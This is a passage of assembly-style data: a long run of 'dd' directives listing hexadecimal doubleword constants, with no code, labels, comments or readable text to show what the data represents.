80AE1F02h, 3E4421FFh, 3981406Fh, 0CE7B2531h dd 0D836C526h, 8C00C9D9h, 488011A8h, 0E54A48Bh, 0FCB1EA3Fh dd 0E5A9F480h, 0B0264EFBh, 0B3070CCDh, 1460D09Bh, 25B835A1h dd 0B80078CEh, 0C9238CD2h, 0CDD87001h, 77137F8Dh, 76496D0h dd 0FE5D3757h, 0F9D501B2h, 55C8EB36h, 10243A2Dh, 6A023CE3h dd 0E84EC930h, 59226DF4h, 0EC054C9Bh, 1D5EF2D8h, 4DCB85E0h dd 66B000FBh, 0C66D7D78h, 6807C200h, 677ECA13h, 69380E89h dd 9B27A3BCh, 2E0870DFh, 52028A4Fh, 29D4B3A9h, 4C604864h dd 74DB00B0h, 51D1FDF6h, 2E07EF9Bh, 72463091h, 0F0543C40h dd 713F001Eh, 2299B1AFh, 961C4EBCh, 0DE807C57h, 0A5E408D0h dd 0FF72D3h, 0F67F2F07h, 0C05546D4h, 5699C00h, 84F54C36h dd 0CFC60938h, 6C801FECh, 55124074h, 148AF800h, 0D53A296Bh dd 8DAF0004h, 1FF02F50h, 4B4B2ABh, 0C5F6003Eh, 90FEF28Ah dd 0A1DB00DFh, 0A9354F09h, 340040A2h, 281B3DD6h, 7C209248h dd 0EA9D1E5Eh, 0A3D633h, 0C3FF3037h, 73265F37h, 0B0001CF2h dd 8A324D2Dh, 0E01E2C16h, 4A7F0FB0h, 84435EA9h, 263E1BB8h dd 6930CE26h, 0CC404D00h, 0EE684B9h, 96FF33A1h, 23572AA0h dd 0F43DF643h, 971A80AEh, 4FA1E79Ah, 0BA0E007Ch, 44829188h dd 1900631Bh, 0DDB2F310h, 543C1290h, 279A01Ch, 6078B1BFh dd 88E49D91h, 0B70033E6h, 0B008F757h, 58BA22DDh, 6000B141h dd 66CCA5A7h, 8701B5A3h, 6CEB7FA8h, 0E1C06328h, 4C610012h dd 0FB6B8907h, 0A4016F33h, 10C45724h, 0A4307770h, 0F23C1FD1h dd 0A76100C3h, 35CC3DAAh, 834B9A1Ch, 0B3BC6740h, 0E4728BFh dd 5D5955ECh, 0F7A0CA40h, 94C07AC4h, 1CF9B21Bh, 0A64B0375h dd 3FE9E761h, 8F990DB8h, 905F5300h, 0C83BEEACh, 0AFDA1C68h dd 0EBC70191h, 6CBD8101h, 0D8980060h, 1707A5ACh, 0ABBE0020h dd 0E66FC7D6h, 2400F1A4h, 0A6F36A3Dh, 0F27EAD82h, 236B2EFEh dd 47DD01CBh, 0C0CF20DAh, 97FC3413h, 5C74EE38h, 762200E2h dd 29ECF2B7h, 34EF00A1h, 0C18BA816h, 0FE001E1Ah, 407897B4h dd 3AEC28h, 73DA34DEh, 6DD2999Bh, 8EEE800h, 0BE4AB9A3h dd 0F2E23831h, 3CC81C00h, 537C19C1h, 270DC318h, 0D41D74h dd 0DD1CC28Ah, 749866E6h, 0C426E100h, 0A19C37A9h, 0D776027Bh dd 0CB50ADEBh, 0CC0B2861h, 0DDEE2ED1h, 0B3FD3C00h, 8098E3C6h dd 9BB2008Ch, 2B76DE46h, 303E724Ch, 177D8040h, 31C5A23Fh dd 2D95004Dh, 0D9548A49h, 8E00586Dh, 0C9B9C2Bh, 95AC2F52h dd 0A628E090h, 4ECC9A07h, 0D7D714B7h, 0F8732752h, 972100CCh dd 0A6527A9Fh, 0F700F9EBh, 4C2F7089h, 2E993FD3h, 58886B49h dd 9D1F4278h, 6F00BBBCh, 0EFF50B2Fh, 1B8E0107h, 0D87F12CBh dd 13E8C74Fh, 4648BBC4h, 39981674h, 0E3C06C20h, 498B189Ah dd 0DDB8883Fh, 1700FB98h, 9F65ACB6h, 1814CCFh, 0D9A2949Ah dd 0E0B75BF3h, 0EB009BCDh, 4223CE41h, 0E1680Fh, 0A4673533h dd 294A8F7Bh, 7AF99202h, 404F30F5h, 9D9AC13h, 1615D11Ch dd 0E4674C00h, 4D072705h, 1E2C368Fh, 39AF1260h, 56A600B4h dd 3F0E15F6h, 7B096D0Dh, 80DDE2E3h, 0B604C390h, 0FA13008Dh dd 526E8721h, 3F011CB8h, 2B127718h, 8428625Ah, 8BB2BB00h dd 0C3B4EC09h, 5FA32D00h, 0C9EA3C8Fh, 0F14B184Ah, 0AB0520D8h dd 0D60C8000h, 8E4D3D4Fh, 676E1C0Fh, 9C38C035h, 17AAF05h dd 99D55E00h, 0DF220C97h, 0F045505Bh, 2240069h, 0D8FA3D7Fh dd 93269E56h, 0B83C0A9h, 0CD159545h, 2454A8E3h, 2E8A7814h dd 2BCED0Bh, 0CAF8D1D4h, 6485E4E0h, 0E8DE5200h, 5680D0C9h dd 3BF2013Eh, 4793B398h, 6E8730F9h, 629092Ch, 3A7DDC00h dd 0CABED1h, 0A8A1E207h, 145EF906h, 0BA584900h, 4B7D377Eh dd 6F9E0012h, 819476C9h, 25906664h, 62313A02h, 50C8E6C3h dd 989878h, 1B93CBFFh, 4387DBA4h, 8049B138h, 88992895h dd 0E6C163h, 0FB0780D4h, 395A9FB0h, 80BE183Bh, 9E305F59h dd 0BCEBAEh, 2CB75D97h, 0B892D079h, 9F5A307h, 0CDB038E6h dd 0B1C276h, 0D1A4AF27h, 68E2EA31h, 3804939h, 9B630CF5h dd 0C4101E72h, 2FF100B8h, 0BB75F828h, 0A00B3C28h, 0C0417F07h dd 0F457CBDAh, 1042D6h, 6EDC67CEh, 87D09701h, 0DDF8E800h dd 998FEB81h, 4EF000DBh, 1EEA8388h, 0BBF46838h, 7DBF6301h dd 5B788271h, 0A391D0h, 87A98EE6h, 75E27783h, 0F56DB900h dd 2E822A7Ch, 8F460096h, 0DAF3E59Eh, 0E91E646Ah, 3406FAEh dd 0A194595Fh, 42E81C74h, 0ACFC40EFh, 820118CDh, 26956400h dd 0E57CCBC1h, 57230060h, 6B1D8AC7h, 0F51629D5h, 0FC0026E3h dd 437E99AAh, 7DB7076Dh, 0E064553Eh, 667A6A11h, 699FC507h dd 92106F71h, 795D988h, 0D02336D3h, 45783082h, 0DD7A0AE3h dd 0D1D42028h, 2D088900h, 62E6FD06h, 2288003Bh, 2EC29A7Eh dd 9091130h, 0F92BEDEh, 646E0AAh, 28990F5Fh, 3F702A4h dd 407B9D20h, 0B7E8D351h, 49004A5Ch, 74DE9334h, 7768659Ch dd 844438A4h, 0C8F7DF00h, 0E10698Bh, 0E627FF00h, 0E74D9858h dd 0D263006Bh, 0E424DD31h, 0D900C34Ah, 0B206D5BFh, 395D38A6h dd 0F2AA08h, 49C68BE3h, 0FCF3C25Fh, 4E125907h, 91803DE5h dd 8347A1h, 90B19D2Dh, 0B06C86F6h, 4B993E00h, 0C97C8E0Ch dd 603B00A6h, 178D0198h, 0DD004A7Dh, 0B3B5FF73h, 0F0BC4C14h dd 35B7840h, 907D09E7h, 0A90351B7h, 1A92728Ch, 0BD3DA027h dd 0D4780CF2h, 0D0211E9Fh, 90043400h, 3C5E727Ah, 0B3440064h dd 9FCC4CEDh, 970F3A3Dh, 0CFB7079Ch, 0AB8E80EEh, 0F4D2F5h dd 3A170286h, 96EA095Eh, 0A072A7Bh, 582C3CD3h, 0A8005D4h dd 3F98B71Ah, 0BFBFCF95h, 549F6483h, 0F5993109h, 0C012C4E8h dd 0A8274905h, 4C40ABD7h, 5A9A7C08h, 9C5E0079h, 8DED8758h dd 8558A59Fh, 234A1EA7h, 0AB040FC4h, 508BAEC0h, 0BB1D006Fh dd 9111845Bh, 3F01A2F0h, 2E418E28h, 0C0FB6E9Dh, 60732Fh dd 0B56D27C8h, 85C214E8h, 9911A21Fh, 40AB6680h, 3C3DBDFDh dd 6D38B4CEh, 0FBAC54h, 0D0837FD7h, 0B130784Fh, 35A84001h dd 32B44B26h, 0F06D68D4h, 71DF031Dh, 918DFE27h, 0FADD87F0h dd 0E9D89A60h, 0FE475326h, 3557792h, 0E8240977h, 20073665h dd 0BC46673Bh, 88A8BE10h, 0C08F7BDAh, 0E2903F88h, 749DD59h dd 0BC4D0B04h, 8F8941h, 0F6A8C71Ah, 7FA00D2h, 0D94CC05Fh dd 28DE08B0h, 9F3DEE40h, 3F859C3Ah, 8E36201h, 9803C0B3h dd 549908BDh, 0C0A8E3F7h, 0E7272Dh, 4038DE75h, 0D7482C03h dd 292E9C06h, 600436h, 229E0B7Dh, 6E75CAA1h, 0A794D000h dd 64F91FA8h, 5AF25Dh, 9EB4335Ch, 481E0688h, 53839000h dd 6C12513Ah, 9A6600CEh, 0F5C53174h, 0E200CB17h, 0DE8A1086h dd 0F2BB553Fh, 0F77000B6h, 9AA179DCh, 187F1C53h, 62A88000h dd 5FA98B68h, 32772439h, 79C50052h, 0DCAAD720h, 0DA3C900h dd 25DFDE60h, 0BCAB000Ch, 7D461BA7h, 0D600C79Bh, 0EB8B9DBAh dd 63BF76h, 61D4A55Ah, 0CCA88A52h, 1BE8C5B8h, 37E31818h dd 2F4579h, 8A353ADFh, 0EF388FC8h, 21D2500h, 0D74B3674h dd 0B6C600D8h, 83FDEE76h, 0CA3C01CEh, 0C91C000Ah, 0FCAC8AE4h dd 4450143h, 0F4D67B4Eh, 847C60F8h, 7E395774h, 0BF950F9Bh dd 11C01CBEh, 8E0AEAC9h, 1A351D78h, 0D3D900ECh, 0A1BAC75Bh dd 0A5CCA00Ch, 0C6B0A97Bh dd 0E88CF16Ch, 0E40037F0h, 31D71CA0h, 428335h, 55524C22h dd 29E15D9Fh, 54A26201h, 85E7EE14h, 7C83620h, 69B4A422h dd 0B1FEC063h, 0CA3EB6D6h, 0C986002Bh, 0E5CB0412h, 634F0054h dd 7F4779E2h, 4674D239h, 720B2D8h, 6D020096h, 0D05C9703h dd 4600C63Ch, 0C082745Ah, 3DFC9CFh, 472BCBB8h, 9FF82102h dd 41D3F2A4h, 0FA0A2400h, 1880FF59h, 807F48Fh, 80C0C6C8h dd 4F09649Ah, 326A003Bh, 1924D9AAh, 0C00D303h, 8E029BCBh dd 0C465F4h, 0B6813FFFh, 0AA86291Fh, 0CB2328C0h, 3B6512C5h dd 20603E14h, 45D050C7h, 0F9E7580h, 0E655611Bh, 6EA35D20h dd 6C00F374h, 11338EAh, 32C5C8h, 0B769FB99h, 94B51C4Dh dd 301F853Ah, 500F61DEh, 98E6A9h, 37AA96AEh, 90B8CDCAh dd 0C70373ECh, 0C87AF119h, 23180B0h, 0C35E171Ah, 6172033Fh dd 0B7F73D85h, 3EA430ECh, 0BD009FFAh, 0EFD525B8h, 7375027h dd 0A10ABA24h, 824F17DFh, 49599BCh, 41C73CE0h, 0F4F85Ah dd 775EAA3h, 45A0E69Bh, 260A7D00h, 3F77B5B9h, 0ACF71CD7h dd 0C6728E15h, 595A2858h, 0D7D3C00h, 611DA3B7h, 0F049EC86h dd 0FF44FE4Dh, 0B422D8h, 3C405C9h, 74E18B65h, 0E4ABD300h dd 6B34C5BEh, 162A3E6Dh, 0AD899680h, 0A8DEE6EDh, 0A6C12C01h dd 4217E9F9h, 0FE708420h, 0DF7601B1h, 20B2CEEAh, 0E969C09Ah dd 7BAEB805h, 7DC0FADBh, 258C42Bh, 0D91F6376h, 0DF60C03Fh dd 4C169EDCh, 0F70759FEh, 7723AE30h, 5C6BA8C1h, 0AF7AE2h dd 5420762Ah, 6697CEA0h, 82B57201h, 8175A68h, 9FE11C4h dd 375B5D2Ch, 50360C00h, 430C7CF2h, 0F4A2A7E0h, 2A14004Ch dd 351761F0h, 0D5B82B60h, 0E53A1879h, 0D50D00D2h, 49F4FAABh dd 9A0C009Fh, 54A92ECCh, 670FF23Ah, 230405Ah, 800F3F81h dd 41796486h, 1593008Fh, 6A9CECFEh, 591D0E2Ch, 3000129Bh dd 0F81FAE58h, 0D1030065h, 0CC1CC062h, 0C049D86h, 0F781244Bh dd 16975880h, 8BBC00B0h, 221D830Dh, 8C7B5849h, 9DBBF900h dd 0D3E1140Fh, 395E00E4h, 38495397h, 0CC0592DFh, 0FBCFE994h dd 0E6F6F980h, 63DB1EAEh, 0C00940B5h, 1CA7D1D3h, 78C11407h dd 9B7134AAh, 53F8C5FCh, 3D3A00A6h, 7749EE2Fh, 0F004674h dd 0F973FA95h, 0CB94CAh, 168BB8AFh, 712F5DB3h, 8BA4073Eh dd 80407DF4h, 0D6430356h, 0C9FC0033h, 2A7772AFh, 7B1DA480h dd 0E5C026CCh, 29CAF0DDh, 6AF700EBh, 0C77E3515h, 4507A5E2h dd 0A4285A9h, 27C96BE0h, 8C7F0733h, 5144F17Eh, 0F94CB95Bh dd 568E4A7h, 0C80E0600h, 44F251D2h, 66F40147h, 70AF9D02h dd 9E27DCBCh, 0DC00DA72h, 48FA1591h, 84C728h, 195513A8h dd 258D8810h, 99BE3306h, 48CD7Fh, 9C4D1C22h, 546EAFD7h dd 0D6746A00h, 0C519823Fh, 17E100DDh, 0FE0D53F1h, 0D00001B8h dd 5B7DB35Fh, 9BA0D2h, 947865B0h, 8575F570h, 0B6BEED00h dd 6932BCE5h, 0C4170ECCh, 63A03EBBh, 836D14C5h, 0D5389D00h dd 111698C8h, 20B56089h, 19FE369Eh, 9F039A7Eh, 51D38B5Ch dd 0E4F6B816h, 0FF1F69Dh, 0F8AFF937h, 0D74FA320h, 99001834h dd 9E61961Dh, 0CBA1D4h, 6C439047h, 0A60709A4h, 0F8B18200h dd 4F100541h, 0BBF0ABh, 0CF4A3466h, 9FDBA745h, 179239h dd 2236ED88h, 37327BEFh, 0A0C06C0Dh, 0B378DA0Fh, 0D8F3D900h dd 0DC87EC60h, 16B2F406h, 7C83B0Ch, 0AE485315h, 13935FC1h dd 94AFF0C3h, 1C00D890h, 0A11E1FE4h, 0EE1B24h, 8299E1C5h dd 0E8BEA28Dh, 0BCD99C00h, 0EF6A93D2h, 607E11h, 0B5627E72h dd 10E4215Ch, 99838C00h, 0AADDA0ADh, 11150007h, 1CC17DF0h dd 0FC00A1A5h, 8D8EB5CDh, 3AC378Ah, 0E151E347h, 86D856BDh dd 77005D17h, 25D7EAC7h, 0D95E42h, 0AFE96E1Bh, 82712A8Ch dd 0B20BA20Bh, 0FFEA005Dh, 2F1EBCh, 0D7ED0C72h, 6AA6E32Dh dd 546DAD00h, 858918DDh, 0FC930069h, 81826E91h, 0F5002CC4h dd 8086F9B4h, 795D48Bh, 9D601218h, 134310A1h, 7F740174h dd 0DCB16807h, 82402881h, 0B87083h, 752AAC91h, 933187A7h dd 0C0611900h, 0D25292D1h, 0D60E0079h, 1B0AE9DFh, 0FF1C064Dh dd 1940362Fh, 9C14CB5Ch, 0ACE2B8h, 0C28F9F45h, 0EB8E2E1Bh dd 803A883Ch, 355BB62Dh, 0C0A0C3h, 425634Bh, 0C1E5E88Eh dd 9E87CF00h, 40E957D5h, 0CCE70018h, 0A62E6EDCh, 1C3F84B8h dd 3E7B0412h, 0A980407Fh, 0F761797Eh, 0C635E0h, 34E3C7EDh dd 5C89A36h, 0DCDBBF07h, 0C4D09858h, 0D4E30h, 531E6C73h dd 9CA71566h, 79CE9700h, 13777EFh, 9E183C44h, 3A437F07h dd 1D15E008h, 9700C136h, 4FEDD7CDh, 0AAF226h, 997A908Ch dd 0FD2A9AD0h, 7295EF07h, 213065B9h, 0BE5A6Dh, 48095E73h dd 0A437A16Ch, 0C01F6600h, 8D683693h, 583512F6h, 261C40CEh dd 24F87DFBh, 2A84A300h, 82EA5B34h, 0F4913BB3h, 0A8F62100h dd 0ABAEA9FFh, 0D4C8D24h, 7DEF2E07h, 90D1D703h, 324DDEh dd 245A3555h, 0E35EEAF6h, 0BD903B00h, 77B95983h, 4B331FDAh dd 67210079h, 34F3C091h, 0C200B6E4h, 0C5D16519h, 269AF217h dd 1EBDEE28h, 83C14077h, 4662E3F3h, 715A4000h, 1382890Ah dd 4B1B9860h, 1830ACC7h, 0BD96DFB6h, 10A80A79h, 0F8B88Fh dd 0ADA03D6Fh, 9500219Dh, 2BD7E3CBh, 3ADF7Ch, 8BC1AE3Fh dd 46A068F1h, 7438C607h, 4E00EA03h, 5C416031h, 0A9077EFBh dd 80917380h, 711396BEh, 54745800h, 5D152BD4h, 38B71F29h dd 0BF874FD1h, 0EB523400h, 85502325h, 0CC00F8D5h, 0E31164BBh dd 7B56B13h, 7C959232h, 0AE7FB00Dh, 0B21D5DEBh, 284E0C6Ch dd 0C9DB00D8h, 26D968h, 0E0FA357Bh, 385F6BFBh, 0AB190A03h dd 0E0EBC4A6h, 5026F3EEh, 3867883Dh, 800BD22Bh, 8880BF39h dd 0DBD437A3h, 9C595700h, 45499675h, 9F210553h, 80836B2Bh dd 1CA54CDAh, 0C409A1Ch, 0FB360A00h, 9C2FE0h, 17CD7090h dd 4822E112h, 341EED75h, 3A013D25h, 0D041943Bh, 0C1602080h dd 744F28A9h, 84BBBC0Fh, 0A705E06Bh, 0EF59434Dh, 7BFCA831h dd 0D56400D2h, 0CBCDD348h, 0D0008D83h, 240C7860h, 1C17294h dd 0A7599558h, 60DA28AAh, 0A1005ADAh, 63455C90h, 74033AD4h dd 76A1E8Ch, 0DE82009Ah, 90FDF47Ah, 38CC2C30h, 183FC1ADh dd 0A1D18BBDh, 44A042B9h, 35001C95h, 3461BB66h, 2A36056Ah dd 0A4CD27h, 734F5384h, 0ECB3FB02h, 0E24D212Eh, 6AEAAC00h dd 161C8CAh, 8F938B99h, 0CF71A60Dh, 3D690A7h, 0F500F326h dd 44EC5666h, 7F8DBBh, 2AB46EDAh, 0D677A670h, 0FAC3C13Eh dd 86A1D501h, 6D89C932h, 9A3BD0h, 3025A48Ch, 0DD4BA0CDh dd 0EF002C74h, 0A564556Fh, 75609D1h, 211F8158h, 0A73AB0F0h dd 8D014E37h, 7A9938E8h, 13ECC5D4h, 8107376Ch, 0C04207F1h dd 0C4909596h, 0D6E4A800h, 0DE49B8D7h, 22C2019Bh, 24D3A402h dd 34170A6h, 0F675A000h, 8B327EBAh, 823E0E84h, 6D80B34Dh dd 0D7FA1ACCh, 6A75EF00h, 0D57BE104h, 0B7330056h, 277E73Eh dd 4E3BFD6Ch, 716280BBh, 7044DCA3h, 6D3D0087h, 926C634Fh dd 0AE2C591Ah, 310EF786h, 0B5A4400Bh, 0E9A9997h, 71345A9Dh dd 3E79B600h, 6A1DB438h, 0D01E357Ch, 0C5C73D01h, 4FC91966h dd 0B0289880h, 0A2EDDC96h, 47075100h, 0CC8994DAh, 0DEAF034Bh dd 1B29CF0Ch, 34409EF8h, 0BC396564h, 73067180h, 0D55C3E98h dd 3CD8480Ch, 0E900BAA8h, 20D6B28Eh, 0A24C881h, 88E5EF55h dd 23E70684h, 0BC0A286Ch dd 0F41FB864h, 98F99F00h, 1D33AD8h, 9AE0D42Eh, 501D623Eh dd 0EDB0BFA0h, 5318A603h, 0C08E0386h, 3F18106h, 565EBC02h dd 0B6F8141Eh, 0C60E9108h, 256CA209h, 0C0404E82h, 98DDE51Bh dd 319B00FAh, 83D9D030h, 213DC1E0h, 763A0091h, 0A36AF7AAh dd 0E17A00E5h, 980FD8E8h, 530CEFA9h, 31C8AEE9h, 0F693134Bh dd 8A7300B6h, 416F576Dh, 684F4400h, 0B54EBBCDh, 0A27738h dd 0BEEA0106h, 1A74D88Bh, 5E323D00h, 5BC6CF46h, 0FDD9034Ch dd 44573E62h, 0BF994000h, 9895AE7Eh, 1FC7532h, 371A004h dd 0F823FB0Ah, 6400A9B1h, 0E060352Dh, 0EEE5B0h, 0FD8DF95Ch dd 3BC08933h, 9BC148C1h, 86E039B7h, 29F256h, 72FAE8EFh dd 6D1D5CA3h, 74CED103h, 1D4E4AF6h, 80939830h, 0CCF983D2h dd 8B60D68Ch, 4F90E3F1h, 8FE903CAh, 7CD42496h, 3CA5CEF0h dd 6D03F803h, 0B857DF14h, 0DF704D11h, 0EA9E4080h, 1D71BC6h dd 0F5E8C100h, 17730A78h, 9460009Ah, 54CE4CE1h, 0BB0E4BE7h dd 3E190EB0h, 2CB1D380h, 1CD4F63Dh, 405DF910h, 0FC17C6F0h dd 69021446h, 0A75199B1h, 0AD5C05Eh, 0D4F500BBh, 3C03926Eh dd 0BF005268h, 5AEFDFF2h, 0FE042BA8h, 4F9B0036h, 469057B6h dd 0C3613CF9h, 0B953FE38h, 74156D0h, 9F7F8EDh, 87C03FD4h dd 0C82B75DDh, 0E34FC500h, 0A3DCBDF5h, 0FC94325Fh, 2F413B28h dd 6704F8E5h, 19C67C30h, 0AA9325h, 39E15118h, 63DAD176h dd 21C13833h, 68CC90A6h, 4CCA3816h, 0D116E0Eh, 0FA86A7A0h dd 0E900859Eh, 97178702h, 71E70F8h, 9F75161Bh, 6F098001h dd 620331B8h, 11FBA5B0h, 0A06690FCh, 5B4B0BB5h, 5450A840h dd 4D8E8706h, 0A781A8Bh, 9D2279B9h, 0AF7C0098h, 0AD564FECh dd 80EB5B28h, 38660903h, 0E070D06Ah, 3D8D78F9h, 0A58BA794h dd 0CE80BB26h, 3D27F802h, 0E41C9100h, 124B0D97h, 4D030022h dd 1F38D021h, 0CC0056F4h, 423C06DFh, 0F4905287h, 60A503AAh dd 0D7AB9A30h, 0DDE816F0h, 0F9537203h, 0F87827FEh, 3659304h dd 0E7494256h, 0B7C0FCD2h, 4AEA749Dh, 5589F3Ch, 494C23F3h dd 82307E80h, 204EE188h, 0B48F3508h, 80C006Eh, 3459647h dd 0E241AA49h, 300E02C9h, 0FEDE8A56h, 72748880h, 3E240F0Dh dd 652EE74Ah, 0CF4830C8h, 0C9003414h, 151E845h, 0BDF1FCh dd 0C873B07h, 2B02FBD7h, 5C10801Dh, 784B3983h, 4AE3E8h dd 9A4388A0h, 0C94946BCh, 0B400B270h, 8B34C15Dh, 795261h dd 8A6073DFh, 824FE37Ch, 0FE14C579h, 0A441D5h, 7508F6DEh dd 7614B01h, 47F8FA6Bh, 0B99300AAh, 49004892h, 0EACC2503h dd 19948AEFh, 0B8AA268Ch, 0A783DB5Bh, 0B45A01B0h, 80AC4529h dd 749B1740h, 8D6BEC6Ch, 0BAD81200h, 562784Ch, 9C9E0D7h dd 0A982C15Ch, 0AADA9F04h, 9D872D00h, 70C5B4h, 0CC520580h dd 0D58DF145h, 0ECBA200Fh, 7A014066h, 260EE6h, 0F2DF8739h dd 0E3CD4058h, 6D5A2E07h, 8AB1CACFh, 80403554h, 14284E95h dd 20E5AF6Ah, 0CEDAABB3h, 0D630871Ah, 9B33C3h, 0FD547388h dd 10E51117h, 7FCCE350h, 4DF02F00h, 0EBA40433h, 0E0F56192h dd 435235B8h, 2FF8A8DCh, 0C61F5417h, 6CC0754Fh, 33AFFD4Eh dd 57881D29h, 20E000E8h, 3AD39B73h, 8D42F7Ch, 0BE007C00h dd 86126A8Dh, 58E698A9h, 307202B5h, 160A1ADh, 4B3A172Bh dd 0D2C86A2h, 0EA1851DCh, 705200F6h, 0F19CB515h, 8C3EE787h dd 0EE5E80C0h, 0B97C81C6h, 0C8278B2h, 0C7D225E1h, 15B88688h dd 0FF80CB00h, 597EA5F3h, 2C5CE247h, 0EB805ACh, 5E045619h dd 64E6C0D4h, 8B016F28h, 0E10FFA91h, 40C26DD7h, 3ECDEFh dd 4A5DE244h, 92E63F41h, 15B38h, 32AD9DD3h, 1C0F101Bh dd 9C0C1EC1h, 53620090h, 0E4B0C8CFh, 30CA1D31h, 3CE1154Bh dd 0C3608840h, 0BCE502CCh, 0EE1CB4E4h, 8AE19480h, 7900A65Bh dd 0E55F4E09h, 23E4F0Ch, 0E70FDAA7h, 0D8A0DF08h, 0FFC083E8h dd 0D90070B0h, 30586F7Ch, 0E6F1A5h, 0DE888976h, 55D15F7Ah dd 228F0B01h, 0A1A928CEh, 2495F4h, 0CCBAE6F5h, 0B5E2C9C2h dd 48073900h, 0D7A1233Bh, 11DD00B1h, 0EC4C4360h, 0DC600C81h dd 5F627230h, 0F82D1CC5h, 6992C0E4h, 6416258Eh, 0F389170Fh dd 41638075h, 0CD5599h, 0D31A882Eh, 4EEA58AEh, 0E1D73A00h dd 0AC75D011h, 0BC6D0016h, 650B4D23h, 0C700C2B5h, 0B8F38737h dd 5EE766h, 92727805h, 31B36A76h, 0CD2D101Fh, 9EE63687h dd 733EEEA1h, 3066F12Fh, 32002EE4h, 0D2FAC225h, 1271C36h dd 0F33C9F3h, 0CCB87108h, 5A035F2Ah, 0EED6F965h, 0E0CCB2DEh dd 0B5C529h, 448D1CFFh, 2537C2C7h, 0E2BAB10Ch, 1B0A98F7h dd 18C504B7h, 935CACF8h, 0E0008CECh, 0DF83650Dh, 30C35E7Eh dd 42C9AB92h, 0C97006DAh, 30C5A100h, 725D9916h, 273D0078h dd 0CBADC64Fh, 124B156h, 1300D5BAh, 5E0F717Dh, 8A5500E7h dd 0BC20175Fh, 0DC03402Dh, 0A14AA725h, 86091B93h, 0F5E9205Eh dd 7924D4A0h, 25F8FF00h, 486EFEDEh, 0C538003Dh, 0DA770673h dd 37015F9Ch, 0E70970BDh, 2FE44560h, 0DC08C661h, 0D7002027h dd 0AEE0D88Dh, 2DF7E3h, 0A10AAB62h, 606471BAh, 58899E30h dd 1E83C266h, 0C18EE85Fh, 0A8D144Fh, 0C520C4C6h, 9C985560h dd 3096687Dh, 0BF1188EDh, 0F4F0711Fh, 0A8D5C106h, 6408C0B6h dd 0C0AA21A4h, 2CA15795h, 0D6CFB707h, 13E07CDBh, 609F984Dh dd 31F828AFh, 0B7F25DD7h, 72E56600h, 6BBF50B6h, 0CEC10A42h dd 0A1CCCBh, 0F3E0C532h, 21DF773h, 6842C410h, 80895DFCh dd 4F76D548h, 2DCE1085h, 0EB6E80A9h, 0F09C23h, 0B5697C9Ah dd 0D0868F5Bh, 15BF5800h, 8C72516Ah, 270C155Dh, 0D823B449h dd 707B823Eh, 1944E8E6h, 176E10A2h, 0AC1E0371h, 39D0C629h dd 68F355C3h, 1259211Fh, 200A475Dh, 8380F471h, 0A622BD28h dd 0BFD900E8h, 0AB8D9CA7h, 32000F41h, 0EB4B4D9Bh, 1C879339h dd 13E42BCh, 5131D191h, 0F077F00Dh, 9B008BEAh, 5A2FEB04h dd 6057CBh, 0E50569DCh, 71786C13h, 3400287Ah, 7F3D3CFDh dd 2302D4h, 88EEBC0Bh, 0E011BE9h, 60F6C300h, 7C29BE2Eh dd 0E719389Eh, 0B524200h, 0F7DACF48h, 0A687AA00h, 0A84CA095h dd 3B0FAA9h, 2D2916D6h, 0DAD00830h, 3C009AA4h, 0A16B054Ah dd 16CF35C8h, 0AE0A1824h, 46A4B107h, 0D2DE0E0h, 0F9593C77h dd 0B6870480h, 51F18A1Dh, 78748526h, 3B78C700h, 1D5D7A33h dd 404E8B2Eh, 6440B0AAh, 2007350h, 7D744539h, 3C88779h dd 0C17004E2h, 0F8D07AA3h, 91E6CC2Eh, 6332990Eh, 7F7E0087h dd 7E0FD170h, 0D3774Ah, 4EA1C5F4h, 0D030B554h, 0DA86E60Fh dd 0AFC4C007h, 0B777BEh, 0AEC98EC7h, 4737A459h, 4F12A701h dd 1F1C4A45h, 0A4CA860h, 0CFE08583h, 0FE6900C8h, 0C1363DC4h dd 7DA77E0Fh, 8F2C20B2h, 0AAA605h, 42C3E460h, 0F5C7A3BBh dd 0BFD61100h, 5B252FE5h, 5EBD000Bh, 0A56507F4h, 8D00856Eh dd 319B9582h, 394EA8FAh, 0BA0067A6h, 0CF6637DAh, 91004404h dd 0A2F5D4EDh, 0F4674F2h, 0D8E06DFAh, 7B1F8920h, 1C0E53FDh dd 4048FF47h, 3DCB5202h, 18B0F17h, 0A005467Dh, 0B3B303CFh dd 680106C5h, 893337Bh, 42F46385h, 0D37700A5h, 75CBFFD8h dd 0D400277Dh, 99B0FCF4h, 0E317FE4h, 8D74BDBCh, 0DDC17120h dd 87001408h, 0C945F916h, 6039F6A1h, 9FA5501Fh, 0F43A6534h dd 20430051h, 0C80B3280h, 0BB1900DCh, 72B32EADh, 9D48037Dh dd 4C017B62h, 544314EEh dd 0D5309EF8h, 1DA007Eh, 18A2C161h, 22070C85h, 33C7123Ah dd 0EBB90A50h, 0F0C1E8C3h, 1A161857h, 185231DEh, 54D6D31Ch dd 0CB950B40h, 39F5CD2h, 8BA51193h, 38009A63h, 6704B09Dh dd 0E2273Ah, 0B5D3317h, 53A66975h, 0FC45F14h, 1833A018h dd 97A13E7Eh, 46550F9Ch, 39407FE3h, 34F91F29h, 0C8C5560h dd 351240E6h, 7FE20203h, 0A7E0B120h, 1C2CA225h, 8A7D11D9h dd 311519C0h, 3C146070h, 950CA06Ch, 0A890F879h, 104CEDF5h dd 0AFED0005h, 0F6278EFh, 90C00BD5h, 53AB4CE0h, 92018DDFh dd 0E734B54Ah, 3D7C5707h, 27C0EC8h, 7507ECDFh, 0EB9502E0h dd 81C98A6h, 8160A053h, 0DF28EA14h, 5575F985h, 0C0102495h dd 0EC613B2Eh, 8A0B403Fh, 0DC5CD5FDh, 0F6B397D8h, 0C03154F4h dd 60BCA068h, 605AE96Fh, 6A1A3002h, 0A4804FFAh, 50419015h dd 4833C029h, 8DED9F81h, 0B8519A1Fh, 0A45E6E16h, 3310A70Eh dd 0B5C0F00h, 5493C7D5h, 0BCBF92E0h, 0B561C0ACh, 2050521Eh dd 2D81251h, 64B4E3A5h, 7EE9D904h, 95079F6Fh, 0A050C001h dd 4093E3A9h, 299B80C0h, 75E14005h, 0C0DC5157h, 9044F591h dd 24998355h, 619841B9h, 0CE80D143h, 0D3D4BCA8h, 574F4CE0h dd 643E144h, 0D8405047h, 0B9637864h, 7C0A8008h, 7C8E56C0h dd 91F447C0h, 0A0923A7Dh, 50B29805h, 7C6C5160h, 84BD0005h dd 0B5A41B8h, 295130F5h, 0D074F7B8h, 400886E7h, 2B486517h dd 0C08CE274h, 24F85E66h, 0FE28F8A4h, 74318C3Ch, 2819053h dd 695508Fh, 1F970C9Ch, 1B055A18h, 0CD23A051h, 16F3D806h dd 